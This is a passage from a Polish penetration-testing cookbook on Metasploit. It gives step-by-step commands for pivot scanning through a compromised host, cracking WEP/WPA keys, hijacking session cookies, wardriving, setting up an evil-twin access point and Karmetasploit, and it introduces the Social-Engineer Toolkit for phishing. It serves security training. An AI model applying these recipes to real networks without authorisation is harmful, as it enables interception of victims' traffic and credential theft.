FILTER
no
INTERFACE PCAPFILE
no no
PORTS
1-1024
yes
RHOSTS
192.168.15.5
yes
SNAPLEN THREADS TIMEOUT
65535 1 1000
yes yes yes
VERBOSE false msf auxiliary(tcp) >
no
The number of concurrent ports to check per host The filter string for capturing traffic The name of the interface The name of the PCAP capture file to process Ports to scan (e.g. 22-25,80,110-900) The target address range or CIDR identifier The number of bytes to capture The number of concurrent threads The socket connect timeout in milliseconds Display verbose output
4. Narzędzia tcpdump i etherape są uruchomione w systemie atakującego, a jedynym widocznym ruchem jest TCP-UNKNOWN zmierzający do adresu IP 192.168.1.130. Cały ruch jest tunelowany przez naszą eksploatowaną maszynę o adresie IP 192.168.1.130 do innych urządzeń wymienionych na liście wynikowej skanowania ARP. Aby uruchomić narzędzie tcpdump, używamy polecenia $ sudo tcpdump dst 192.168.1.130. Jeżeli potrzebujesz bardziej szczegółowych danych wynikowych, użyj polecenia $ sudo tcpdump -nnvvXSs 1514 dst 192.168.1.130.
5. Spójrzmy na wyniki skanowania TCP i sprawdźmy, czy są jakieś otwarte porty. Wyniki skanowania TCP dla zakresu adresów IP 192.168.15.0/24: 192.168.15.5 są następujące: tcp open ports 80,139, & 445. 192.168.15.2 tcp open port 22 192.168.15.1 tcp open ports 22, 80, & 554
6. Jeśli chcemy zeskanować inny zakres adresów IP, musimy usunąć trasę za pomocą polecenia route remove i dodać kolejną, tak jak widać poniżej: msf auxiliary(tcp) > route remove 192.168.15.1 255.255.255.0 1 [*] Route removed msf auxiliary(tcp) > route add 192.168.0.1 255.255.255.0 1 [*] Route added msf auxiliary(tcp) > route print Active Routing Table ====================
186
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
Subnet Netmask Gateway -----------------192.168.0.1 255.255.255.0 Session 1 Results from tcp scan of 192.168.0.0/24: 192.168.0.2 tcp open 135,139, & 445 192.168.0.9 tcp open 23,135,139, & 445 192.168.0.1 tcp open 80
Zobacz również Jeżeli znaleźliśmy otwarte porty, takie jak 22, 23 i 80, możemy użyć polecenia portfwd, aby uzyskać dostęp do wewnętrznego serwera WWW. Wtedy uruchomimy narzędzia netcat oraz telnet na portach 22 i 23. Polecenie portfwd może być używane z dowolną usługą opartą na protokole TCP sieci docelowej, aby po przejęciu maszyny uzyskać dostęp do zasobów wewnętrznych.
Łamanie zabezpieczeń szyfrowania WEP oraz WPA za pomocą aplikacji Fern Wi-Fi Cracker Aplikacja Fern WiFi Cracker jest niesamowitym narzędziem, dzięki któremu można przeprowadzać różne eksperymenty. W tej recepturze omówimy fascynujące zajęcie łamania zabezpieczeń haseł WEP oraz WPA. Przejdźmy do tych czynności.
Przygotuj się 1. Otwórz okno terminala i uruchom narzędzie iwconfig, aby sprawdzić interfejs adaptera USB, tak jak przedstawiono na rysunku na następnej stronie. 2. W niektórych przypadkach musimy uruchomić interfejs adaptera bezprzewodowego za pomocą polecenia ifconfig wlan[numer_interfejsu] up. 3. Przejdź do Menu programu uruchamiającego/BackTrack/Exploitation Tools/Wireless Exploitation Tools/WLAN Exploitation/fern-wifi-cracker.
187
Metasploit. Receptury pentestera
Jak to wykonać 1. Otwórz aplikację Fern Wi-Fi Cracker. Pierwszy etap polega na wybraniu interfejsu (w tym przypadku wlan0), jak przedstawiono na poniższym rysunku:
188
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
2. Następnie przeprowadzamy skanowanie punktów dostępowych, klikając drugi przycisk od góry (ikona z anteną Wi-Fi). Skanowanie spowoduje wykrycie różnych punktów dostępowych z obsługą szyfrowania WEP i WPA, tak jak przedstawiono na poniższym rysunku:
3. Teraz spróbujemy złamać zabezpieczenia szyfrowania WEP. W tym przypadku wybieramy jeden punkt dostępowy (ang. access point — AP), a następnie klikamy przycisk Attack, jak przedstawiono na pierwszym rysunku na następnej stronie. W przypadku łamania zabezpieczeń szyfrowania WEP przechwytywanie pakietów może zająć dużo czasu, jeśli sieć ofiary nie jest aktywna.
4. Po kliknięciu przycisku Attack aplikacja Fern WiFi Cracker zacznie gromadzenie pakietów, tak jak przedstawiono na drugim rysunku na następnej stronie.
189
Metasploit. Receptury pentestera
190
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
5. Gdy liczba pakietów IVS (ang. initialization vectors packets) osiągnie poziom 10000 lub większy, automatycznie zostanie złamany klucz szyfrujący, a na ekranie zostanie wyświetlona jego wartość, tak jak przedstawiono na poniższym rysunku:
6. Kliknij na przycisk Key Database (Baza danych z kluczami), aby wyświetlić bazę danych, tak jak to pokazano na pierwszym rysunku na następnej stronie. 7. Przy łamaniu zabezpieczeń szyfrowania WPA wszystkie etapy są takie same z wyjątkiem tego, że należy wskazać plik słownika (plik zawierający listę haseł, np. wordlist.lst) potrzebny przy ataku, tak jak przedstawiono na drugim rysunku na następnej stronie.
Przechwytywanie sesji przy użyciu adresu MAC W tej recepturze użyjemy aplikacji Fern WiFi Cracker do przechwytywania sesji. Aplikacja Fern WiFi Cracker jest oprogramowaniem napisanym w języku Python, służącym zarówno do przeprowadzania audytów bezpieczeństwa sieci bezprzewodowej, jak i do wykonywania ataków. Umożliwia ono łamanie zabezpieczeń kluczy szyfrujących typu WEP/WPA/WPS oraz ich odzyskiwanie. Może być również stosowane do wykonywania ataków sieciowych na sieci bezprzewodowe lub sieci oparte na standardzie Ethernet. 191
Metasploit. Receptury pentestera
192
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
Przygotuj się Przejdź do opcji Menu programu uruchamiającego/BackTrack/Exploitation Tools/Wireless Exploitation Tools/WLAN Exploitation/fern-wifi-cracker. Aplikacja Fern WiFi Cracker może być zainstalowana tylko na systemach linuksowych. Dla systemu Windows możemy wybrać aplikację Windows Wi-Fi Cracker.
Jak to wykonać Moduł Fern Cookie Hijacker jest nową właściwością dodaną do aplikacji Fern WiFi Cracker od wersji 1.45. Jest to narzędzie służące do przechwytywania sesji opartych na sieciach Wi-Fi. Jest w stanie klonować zdalne sesje WWW poprzez wykrywanie i przechwytywanie pakietów ciasteczek (ang. cookies) pochodzących od zdalnych hostów. Odbywa się to przez przechwytywanie dostępnego sygnału bezprzewodowego, tak jak przedstawiono na kolejnym rysunku. Fern Cookie Hijacker potrafi w locie deszyfrować pakiety WEP, aby przetworzyć przesyłane ciasteczka sesji:
193
Metasploit. Receptury pentestera
Jak to działa Istnieje różnica między popularnymi silnikami wykrywania ciasteczek a silnikiem modułu Fern Cookie Hijacker. Moduł Fern Cookie jest wyposażony w zintegrowany kod do wykrywania i przechwytywania pakietów ciasteczek. Nie czeka on, aż zebrane zostanie pełne potwierdzenie ciasteczek podczas początkowego procesu uwierzytelniania, ale wyciąga ciasteczka i kojarzy je z ich wyznaczonymi hostami, kiedy są transmitowane poprzez sieć bezprzewodową.
Określanie geolokalizacji celu Niektórzy użytkownicy aplikacji Fern WiFi Cracker domagali się obecności adresu MAC w obszarze klucza w bazie danych programu, po tym jak ta baza została dodana do aplikacji. Jeśli jednak głębiej się nad tym zastanowić, nie ma żadnego zastosowania dla adresu MAC w obszarze klucza bazy danych, gdy jest on w stanie bezczynności. Wtedy powstała potrzeba, aby stworzyć dodatek do okna dialogowego zestawu narzędzi Fern, który umożliwiałby śledzenie współrzędnych geograficznych oraz wyświetlanie mapy, określanie kraju, województwa, kodu państwa i innych danych geograficznych uzyskiwanych tylko za pomocą adresu MAC punktów dostępowych Wi-Fi w sposób przyjazny dla początkujących użytkowników. Przecież właśnie w tym celu powstała aplikacja Fern. Dla początkujących!
Przygotuj się Przejdź do opcji Menu programu uruchamiającego/BackTrack/Exploitation Tools/Wireless Exploitation Tools/WLAN Exploitation/fern-wifi-cracker.
Jak to wykonać 1. Otwórz zestaw narzędziowy Fern WiFi Cracker. Wyświetlone zostanie poniższe okno przedstawione na pierwszym rysunku na następnej stronie. 2. Podając adres MAC, który chcemy śledzić i którego geolokalizację zamierzamy zidentyfikować, możemy łatwo znaleźć go na mapie. Widać to na drugim rysunku na następnej stronie.
Technika wardrivingu Wardriving to metoda wyszukiwania sieci Wi-Fi przez osobę znajdującą się w ruchomym pojeździe. Do tego celu wykorzystuje się komputer przenośny, urządzenie PDA (ang. Personal Digital Assistant) lub smartfona. 194
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
Pojęcie wardrivingu pochodzi od słowa wardialing, metody spopularyzowanej przez postać graną przez Matthew Brodericka w filmie Gry wojenne i nazwanej tak na cześć tego filmu. Wardialing (wojna na wybieranie numeru) polega na wybieraniu każdego numer telefonu w określonej kolejności w poszukiwaniu modemów.
195
Metasploit. Receptury pentestera
W internecie znaleźć można wiele bezpłatnych aplikacji tego typu, dostępnych na różne systemy operacyjne. Oto kilka przykładów: dla systemu Windows: NetStumbler, InSSIDer oraz Ekahau Heat Mapper; dla systemu Linux: Kismet lub SWScanner ; dla systemu Android: G-mon, Wardrive i WiGLE WiFi; dla iPhone’a: WiFi-Where; dla konsoli Sony PSP: Road Dog 2; dla Symbiana: Wlan Pollution.
W tej recepturze dowiemy się, jak skorzystać z techniki wardrivingu za pomocą narzędzia kismet oraz GPS-u. Program kismet wykrywa sieci, wykorzystując pasywne zbieranie pakietów oraz wyszukiwanie standardowo nazwanych sieci, sieci ukrytych oraz dedukowanie poprzez transfer danych obecności sieci funkcjonującej bez ramek nawigacyjnych (czyli z wyłączonym rozgłaszaniem SSID). Program kismet jest detektorem sieci bezprzewodowych w standardzie 802.11 warstwy 2, snifferem oraz systemem detekcji włamań (ang. Intrusion Detection System — IDS). Współpracuje z każdą kartą bezprzewodową, która obsługuje tryb nieprzetworzonego monitorowania (ang. raw monitoring — rfmon). Potrafi przechwycić ruch w sieci bezprzewodowej działającej w standardzie 802.11b, 802.11a, 802.11g oraz 802.11n.
Przygotuj się Potrzebujemy komputera przenośnego z systemem operacyjnym Ubuntu, zewnętrznego adaptera Wi-Fi oraz modułu GPS lub jakiegoś innego modułu umożliwiającego podłączenie laptopa do systemu geolokalizacji. Większość wbudowanych kart bezprzewodowych nie posiada opcji pracy w trybie monitorowania.
Jak to wykonać Aby przeprowadzić wardriving, należy wykonać następujące czynności: 1. Zainstaluj narzędzie kismet za pomocą poniższego polecenia: apt-get install kismet
2. Następnie otwórz plik konfiguracyjny narzędzia kismet: gedit /usr/local/etc/kismet.conf
196
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
3. Zmień następujące ustawienia karty Wi-Fi (karta alfa): ncsource=interface:options
na ncsource=mon0:type=rt8180,name=alfa
4. Skonfiguruj GPS, aby uruchamiał się przy starcie: gps=true gpstype=gpsd gpshost=localhost:2947 gpsmodelock=false gpsreconnect=true
5. Następnie zapisz i zamknij plik. 6. Przed uruchomieniem narzędzia kismet włącz kartę Wi-Fi alfa w trybie monitorowania: sudo airmon-ng check kill alfa & sudo airmon-ng start alfa.
7. Teraz należy dołączyć obsługę GPS do narzędzia kismet. Aby to zrobić, najpierw musimy zainstalować demona gpsd: sudo apt-get install gpsd
8. Uruchom demona gpsd za pomocą składni podanej poniżej. Musisz jako argument podać ścieżkę do portu szeregowego lub USB, do którego podłączony jest odbiornik GPS: gpsd -D 5 -N -n /dev/ttyUSB0
9. Gdy demon gpsd zostanie uruchomiony, połącz się za pomocą narzędzia telnet na porcie 2947. Powinno wyświetlić się powitanie, które jest obiektem typu JSON opisującym wersję demona gpsd. Teraz podłącz odbiornik GPS (lub odbiornik AIS albo RTCM2). 10. Wpisz ?WATCH = {"enable":true,"json"}, aby uruchomić tryby raw i watcher. Powinny wyświetlić się informacje rozpoczynające się od wiersza {that are JSON objects representing reports from your GPS}. Są to raporty protokołu GPS. 11. Uruchom klienta xgps lub cgps. Następnie wywołaj go bez argumentów. Zobaczysz panel wyświetlacza z określeniem pozycji i prędkości obiektu. Pojawi się także wyświetlacz satelitarny. Wyświetlenie odpowiedniego widoku oraz pobranie i zainstalowanie poprawek może zająć 15-20 minut.
Jak to działa Teraz musimy tylko wsiąść w samochód, na rower albo po prostu przejść się z notebookiem. Będzie on automatycznie zbierał wszystkie dane z dowolnej sieci bezprzewodowej, która znajdzie się w jego zasięgu. 197
Metasploit. Receptury pentestera
Zobacz również Biała księga organizacji SANS została opublikowana na stronie http://www.sans.org/readingroom/whitepapers/wireless/guide-wardriving-detecting-wardrivers-174?show=guide-wardrivingdetecting-wardrivers-174&cat=wireless. Opisano w niej technikę wardrivingu realizowanego za pomocą programu MacStumbler.
Atak typu zły bliźniak Atak typu zły bliźniak (ang. evil twin) jest rodzajem ataku Wi-Fi podobnym do podszywania się (ang. spoofing) pod strony WWW czy phishingu poczty e-mail. Nazywany jest on również atakiem Rogue AP, czyli fałszywym punktem dostępowym, który udaje prawdziwy punkt dostępowy i podstępnie nakłania użytkowników, aby się z nim połączyli.
Przygotuj się Stworzymy scenariusz wykorzystujący takie urządzenia, jak prawdziwy punkt dostępu, fałszywy punkt dostępu (BackTrack 5 R3 w trybie live CD), stacja monitorowania i przechwytywania pakietów (BackTrack 3 w trybie live CD) oraz komputer ofiary (Windows 7). Użyjemy narzędzia aircrack-ng do bezprzewodowego przechwytywania pakietów. Przyjmijmy, że adresy MAC różnych komponentów są następujące: Adres MAC klienta: 00:1D:23:14:AD:BF. Adres MAC prawdziwego punktu dostępowego: 00:0E:6F:CE:AE:C3. Adres MAC fałszywego punktu dostępowego: 00:9B:28:6E:B2:AA.
Załóżmy, że maski podsieci dla fałszywego i prawdziwego punktu dostępowego to: Maska podsieci prawdziwego punktu dostępowego: 192.168.1.0/24. Maska podsieci fałszywego punktu dostępowego: 10.0.0.0/24.
Jak to wykonać W dalszych etapach zajmiemy się skonfigurowaniem monitorowania oraz przygotowaniem fałszywego punktu dostępowego. Zobaczmy, jak to zrobić. Zacznijmy od skonfigurowania monitorowania: 1. Najpierw uruchom system w trybie live CD i zaloguj się jako użytkownik root z hasłem toor.
198
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
2. Uruchom narzędzie iwconfig, aby odnaleźć nazwę karty bezprzewodowej. Zazwyczaj jest to wlan0 lub wifii0. W tym eksperymencie karta sieci bezprzewodowej nazywa się wifi0. 3. Aby włączyć tryb monitorowania, należy użyć następującego polecenia: airmon-ng start wifi0
4. Spowoduje to utworzenie nowego wirtualnego interfejsu (VAP) i ustawienie go w trybie monitorowania. Jego nazwa będzie zależała od sterowników karty, ale będzie zbliżona do nazwy ath0. W tym przypadku utworzony został interfejs ath2. Za każdym razem, kiedy uruchomimy narzędzie airmon-ng na prawdziwym interfejsie, utworzony zostanie nowy wirtualny interfejs, jeżeli nie usuniemy poprzedniego. Aby usunąć wirtualny interfejs, należy użyć następującego polecenia: airmon-ng stop ath2 Nie należy stosować polecenia stop dla prawdziwego interfejsu wifii0, a jedynie dla interfejsów wirtualnych.
5. Gdy interfejs wirtualny zostanie skonfigurowany w trybie monitorowania, możemy rozpocząć przechwytywanie ruchu sieciowego. W tym celu należy użyć następującej składni: airodump-ng [nazwa_interfejsu] –-channel [numer_kanału] --bssid [adres_MAC_punktu_dostępowego] -w [nazwa pliku]
Nazwa interfejsu to ath2. Opcja --channel odnosi się do konkretnego kanału nasłuchiwania, co pomaga zmniejszyć liczbę zebranych dodatkowych pakietów. Opcja --bssid pozwala na filtrowanie ruchu dla konkretnego adresu MAC punktu dostępowego. Opcja -w jest używana do zapisania zrzutu danych do pliku i jest wykorzystywana jako prefiks dla plików wynikowych. 6. Aby przechwycić ruch prawdziwego punktu dostępu, wykonaj następujące polecenie: airodump-ng ath2 --channel 2 --bssid 00:0E:9B:6E:28:7D -w RealAPCapture
7. Aby przechwycić ruch fałszywego punktu dostępu, wykonaj następujące polecenie: airodump-ng ath2 --channel 2 --bssid 00:0E:9B:BF:AA:B2 -w FakeAPCapture Rezultaty wykonania polecenia przechwytującego zostaną umieszczone w dwóch plikach: w pliku z rozszerzeniem *.cap oraz pliku tekstowym *.txt. Plik *.cap można dla celów analizy otworzyć za pomocą narzędzi Wireshark lub tcpdump. Plik *.txt jest formatem czytelnym dla wszystkich edytorów tekstowych.
199
Metasploit. Receptury pentestera
Teraz uruchom następujące polecenia na maszynie służącej jako fałszywy punkt dostępowy: 1. Najpierw uruchom system w trybie live CD i zaloguj się jako użytkownik root z hasłem toor. 2. W celu przeprowadzenia aktualizacji oprogramowania, wymaganej do pomyślnego wykonania ataku, należy włączyć przewodowy interfejs Ethernet (eth0). Aby to zrobić i przypisać mu dynamicznie adres IP z serwera DHCP, wykonaj następujące polecenie: ifconfig eth0 up dynamic
3. Kolejnym krokiem jest aktualizacja pakietu narzędzi aircrack-ng: svn co http://svn.aircrack-ng.org/trunk/ aircrack-ng cd aircrack-ng/ apt-get install libnl-dev && make && make install
4. Skonfiguruj serwer DHCP (dhcpd) poprzez edycję pliku konfiguracyjnego z lokalizacji /etc/dhcp3/dhcpd.conf: option domain-name-servers 10.0.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 129.21.17.3, 129.21.18.4; }
5. Uruchom fałszywy punkt dostępowy: airmon-ng start wifi0
6. Następnie załaduj tryb tunelowania (ang. tunneling mode): modprobe tun
7. Teraz, aby uruchomić fałszywy punkt dostępowy, użyj narzędzia airbase-ng będącego częścią pakietu aircrack-ng: airbase-ng -e " EvilTwinTest " -c 2 -v ath0
8. Dalej tworzymy interfejs tunelowania i przeprowadzamy konfigurację: ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1400
9. Utwórz domyślną trasę za pomocą następującego polecenia: route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
200
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
10. Następnie skonfiguruj aplikację iptables, aby przeprowadzić translację adresów IP w sieci z wykorzystaniem NAT-u. Służy to podłączeniu klientów do internetu, tak jak jest to przeprowadzane za pomocą routera: iptables iptables iptables iptables
--flush --table nat --flush --delete-chain --table nat --delete-chain
11. Na koniec skonfiguruj serwer DHCP: echo > '/var/lib/dhcp3/dhcpd.leases' dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &
Pierwsze polecenie usunie wszystkie stare dzierżawy adresów. Drugie służy do uruchomienia serwera DHCP z wykorzystaniem naszego pliku konfiguracyjnego. Po wykonaniu opisanych czynności każda potencjalna ofiara będzie w stanie połączyć się z naszym fałszywym punktem dostępowym, jakby był prawdziwy.
Jak to działa Notebook czy laptop ofiary najpierw połączy się z prawdziwym punktem dostępowym. Kiedy uruchomimy fałszywy punkt dostępowy, ofiara zostanie wylogowana z prawdziwego punktu dostępowego i uwierzytelniona w fałszywym punkcie dostępowym. Haker ustawia swój identyfikator usługi (SSID) na taki sam jak identyfikator punktu dostępowego lokalnego hotspota lub firmowej sieci bezprzewodowej. Następnie zakłóca lub wyłącza prawdziwy punkt dostępowy poprzez przeprowadzenie ataku DoS. W rezultacie użytkownicy tracą połączenia z tym punktem dostępowym i łączą się ze złym bliźniakiem, umożliwiając hakerowi przejęcie całego ruchu kierowanego do tego urządzenia.
Konfiguracja Karmetasploit Dino Dai Zovi oraz Shane Macaulay, dwaj badacze kwestii związanych z bezpieczeństwem, napisali zestaw narzędzi bezpieczeństwa dla sieci bezprzewodowych, opracowany jako dowód koncepcji luk w zabezpieczeniach, i nazwali go Karma. Został on później zintegrowany z frameworkiem Metasploit i nazwany Karmetasploit. Te luki w zabezpieczeniach dotyczą implementacji algorytmów do łączenia się ze znanymi sieciami. Karmetasploit jest połączeniem pakietu Karma i frameworku Metasploit. Otrzymujesz więc fałszywy punkt dostępowy, który akceptuje wszystkie połączenia, oraz wszechstronny framework Metasploit.
201
Metasploit. Receptury pentestera
W procesie łączenia się z siecią bezprzewodową większość systemów operacyjnych często zapisuje poprzednie połączenia sieciowe na liście i stale wysyła pakiety próbkowania w poszukiwaniu tych sieci. Po znalezieniu określonej sieci system automatycznie łączy się z nią. Jeżeli znaleziona zostanie więcej niż jedna z sondowanych sieci, system łączy się z siecią o najwyższej sile sygnału.
Ze względu na ciągłe wysyłanie pakietów próbkowania każdy haker znajdujący się w zasięgu sygnału może biernie nasłuchiwać i widzieć sieci, które użytkownik sonduje. Haker wykorzystuje luki w implementacji algorytmów do łączenia się ze znanymi sieciami, więc ma możliwość utworzenia fałszywego punktu dostępowego i skłonienia ofiary do połączenia się z nim. Gdy ofiara połączy się z fałszywym punktem dostępowym, atakujący będzie miał łącze z ofiarą na poziomie warstwy IP. Będzie mógł wtedy uruchomić dowolny atak na maszynę ofiary.
Przygotuj się Pobierz plik karma.rc za pomocą następującego polecenia: root@bt:~# wget http://www.offensivesecurity.com/downloads/karma.rc
Jak to wykonać Kiedy klienci łączą się z fałszywym punktem dostępu, który uruchomiliśmy, oczekują przydzielenia adresu IP. Aby skonfigurować narzędzie Karmetasploit, należy wykonać następujące czynności: 1. Skonfiguruj plik dhcpd.conf: root@bt:~# cat /etc/dhcp3/dhcpd.conf option domain-name-servers 10.0.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 10.0.0.1; }
2. Zainstaluj moduł activecord sqlite3 ruby: root@bt:~# gem install activerecord sqlite3-ruby Successfully installed activerecord-2.3.2 Building native extensions. This could take a while... Successfully installed sqlite3-ruby-1.2.4
202
Rozdział 8. • Testy penetracyjne sieci bezprzewodowej
3. Zobaczmy, jak instaluje się pakiety gem: Installing Installing Installing Installing
ri documentation for activerecord-2.3.2... ri documentation for sqlite3-ruby-1.2.4... RDoc documentation for activerecord-2.3.2... RDoc documentation for sqlite3-ruby-1.2.4...
4. Zrestartujmy kartę bezprzewodową w trybie monitorowania: root@bt:~# airmon-ng Interface Chipset wifi0 ath0
Driver
Atheros madwifi-ng Atheros madwifi-ng VAP (parent: wifi0)
Kolejnym zadaniem jest zatrzymanie interfejsu, a następnie użycie narzędzia airmon-ng w celu ponownego uruchomienia interfejsu w trybie monitorowania. Później korzystamy z narzędzia airmon-ng, aby uruchomić nową sieć: root@bt:~# airmon-ng stop ath0 Interface Chipset
Driver
wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0)(VAP destroyed) root@bt:~# airmon-ng start wifi0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! PID Name 5636 NetworkManager 5641 wpa_supplicant 5748 dhclient3 Interface Chipset Driver wifi0 Atheros madwifi-ng Error for wireless request "Set Frequency" (8B04) :SET failed on device ath0 ; No such device. ath0: ERROR while getting interface flags: No such device ath1 Atheros madwifi-ng VAP (parent: wifi0) root@bt:~# airbase-ng -P -C 30 -e "U R PWND" -v ath1 For information, no action required: Using gettimeofday() instead of /dev/rtc 18:25:30 Created tap interface at0 18:25:30 Trying to set MTU on at0 to 1500 18:25:30 Trying to set MTU on ath1 to 1800 18:25:30 Access Point with BSSID 00:1E:41:49:13:AD started
5. Dotarliśmy do ostatniego etapu i narzędzie airbase-ng utworzyło nowy interfejs at0. Przypiszemy sobie adres IP i uruchomimy serwer DHCP, nasłuchując na tym nowym interfejsie:
203
Metasploit. Receptury pentestera
root@bt:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 root@bt:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 Internet Systems Consortium DHCP Server V3.1.1 For info, please visit http://www.isc.org/sw/dhcp/ Wrote 0 leases to leases file. Listening on LPF/at0/00:1e:41:49:13:ad /10.0.0/24 Sending on LPF/at0/00:1e:41:49:13:ad /10.0.0/24 Sending on Socket/fallback/fallback-net Can't create PID file /var/run/dhcpd.pid: Permission denied. root@bt:~# ps aux | grep dhcpd dhcpd 6490 0.0 0.1 3812 1840 ? Ss 18:28 0:00 dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 root 6493 0.0 0.0 3232 788 pts/0 S+ 18:28 0:00 grep dhcpd
204
9 Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit W tym rozdziale: Wprowadzenie do pakietu SET Praca z plikiem konfiguracyjnym pakietu SET Praca z wektorami ataku spear-phishing Wektory ataku WWW Praca z wektorem ataku wieloaspektowego Generator zainfekowanych nośników danych
Wprowadzenie Socjotechnika polega na manipulowaniu ludźmi, aby wykonywali czynności przez nich niezamierzone. Scenariusz opartego na technologii cyfrowej ataku socjotechnicznego jest skonstruowany w taki sposób, aby złapać użytkownika w pułapkę wykonywania czynności, które mogą prowadzić do ujawnienia poufnych informacji lub przeprowadzenia szkodliwych działań. Przyczyną szybkiego wzrostu popularności narzędzi socjotechnicznych wśród hakerów jest to, że trudno jest złamać zabezpieczenia systemowe, ale o wiele łatwiej jest podstępem nakłonić użytkownika danego systemu, żeby wykonywał niezamierzone szkodliwe czynności.
Metasploit. Receptury pentestera
Trudno jest np. złamać zabezpieczenia Gmaila w celu kradzieży czyjegoś hasła, ale łatwo jest stworzyć scenariusz socjotechniczny, w którym ofiara może dać się nabrać i ujawnić swoje dane logowania, kiedy zostanie jej podesłana fałszywa strona logowania albo e-mail phishingowy. Pakiet narzędzi socjotechnicznych (ang. Social-Engineer Toolkit — SET) został zaprojektowany do wykonywania takich właśnie czynności wyłudzania. Pakiet SET jest ogólnym exploitem ludzkiej natury, który łamie zabezpieczenia świadomości użytkownika i działa analogicznie do exploitów wykorzystujących luki w zabezpieczeniach oprogramowania i systemów operacyjnych. SET to oficjalny zestaw narzędzi dostępny na stronie https://www.trustedsec.com. Jest także zainstalowany domyślnie w systemie BackTrack 5. W tym rozdziale przeanalizujemy różne aspekty tego narzędzia i zobaczymy, w jaki sposób poszerza ono możliwości frameworku Metasploit. Skoncentrujemy się głównie na tworzeniu wektorów ataku i zarządzaniu plikiem konfiguracyjnym, który uważany jest za serce pakietu SET. Zapoznajmy się więc bliżej z narzędziami socjotechnicznymi.
Wprowadzenie do pakietu SET Zacznijmy recepturą wprowadzającą do tematu o pakiecie SET, w której omówimy jego działanie na różnych systemach operacyjnych.
Przygotuj się Pakiet SET jest dostępny dla różnych platform i można go pobrać z oficjalnej strony producenta https://www.trustedsec.com/. Posiada zarówno wersję z interfejsem graficznym (GUI), która uruchamiana jest za pomocą przeglądarki WWW, jak i wersję obsługiwaną z poziomu wiersza poleceń, która może być uruchomiona z konsoli terminala. W systemie BackTrack pakiet SET jest preinstalowany domyślnie i na tym systemie skoncentrujemy się w tym rozdziale.
Jak to wykonać Aby uruchomić pakiet SET w systemie BackTrack, należy w konsoli terminala wprowadzić następującą ścieżkę dostępu: root@bt:~# cd /pentest/exploits/set root@bt:/pentest/exploits/set# ./set Select from the menu:
206
Rozdział 9. • Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit
Jeśli używasz pakietu SET po raz pierwszy, możesz go zaktualizować, aby pobrać najnowsze moduły i naprawić wykryte błędy. Aby uruchomić proces aktualizacji, należy zastosować polecenie svn update. Po przeprowadzeniu aktualizacji pakiet jest gotowy do użycia. Wersję pakietu SET z interfejsem GUI można uruchomić, wybierając Menu programu uruchamiającego/BackTrack/Exploitation tools/Social Engineering Tools/Social Engineering Toolkit.
Jak to działa SET jest narzędziem do automatyzacji opartym na języku programowania Python, służącym do tworzenia aplikacji obsługiwanych za pomocą menu. Szybsze wykonywanie kodu oraz wszechstronność sprawiają, że Python jest preferowanym językiem do projektowania narzędzi o architekturze modułowej, takich jak pakiet SET. Ułatwia to również integrację tego zestawu narzędzi z serwerami WWW. Aby uzyskać dostęp do przeglądarkowego interfejsu pakietu SET, można wykorzystać dowolny serwer HTTP na licencji open source. Serwer Apache uważa się powszechnie za najkorzystniejszy do pracy z pakietem SET.
Zobacz również Czasami może pojawić się problem podczas aktualizacji pakietu SET w systemie BackTrack 5 R3. Spróbuj wtedy wykonać poniższe czynności. 1. Usuń poprzednią wersję pakietu SET za pomocą następującego polecenia: dpkg –r set
207
Metasploit. Receptury pentestera
Pakiet SET można usunąć na dwa sposoby. Pierwszy z nich polega na przejściu do katalogu /pentest/exploits/set i zastosowaniu polecenia rm, aby usunąć wszystkie znajdujące się w tym katalogu pliki. Drugim sposobem jest metoda opisana powyżej w punkcie 1.
2. Następnie, w celu ponownego zainstalowania pakietu SET, możesz go sklonować za pomocą następującego polecenia: git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
Praca z plikiem konfiguracyjnym pakietu SET W tej recepturze przyjrzymy się uważniej plikowi konfiguracyjnemu pakietu SET, który zawiera domyślne wartości różnych parametrów używanych przez ten zestaw narzędzi. Domyślna konfiguracja sprawdza się w większości ataków, ale może się zdarzyć, że będziesz musiał zmodyfikować ustawienia w zależności od scenariusza ataku i jego wymagań. Zobaczmy więc, jakie ustawienia konfiguracyjne dostępne są w pliku set_config.
Przygotuj się Plik konfiguracyjny set_config znajduje się w katalogu /pentest/exploits/set/config i można go otworzyć w następujący sposób: root@bt:/pentest/exploits/set# nano config/set_config
Uruchomiony plik konfiguracyjny posiada wstępnie zdefiniowanych kilka instrukcji, co widać na rysunku na następnej stronie.
Jak to wykonać Omówmy zawartość tego pliku: 1. Najpierw zobaczymy, jakie ustawienia konfiguracyjne są dostępne: ### Define the path to MetaSploit, for example: /pentest/exploits/framework3 // Zdefiniuj tutaj ścieżkę do Metasploit, np. /pentest/exploits/framework3. METASPLOIT_PATH=/opt/metasploit/apps/pro/msf3
Jak widać powyżej, pierwsze ustawienie w pliku konfiguracji dotyczy katalogu instalacyjnego. Pakiet SET do prawidłowego funkcjonowania wymaga frameworku Metasploit, ponieważ korzysta z jego ładunków i exploitów.
208
Rozdział 9. • Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit
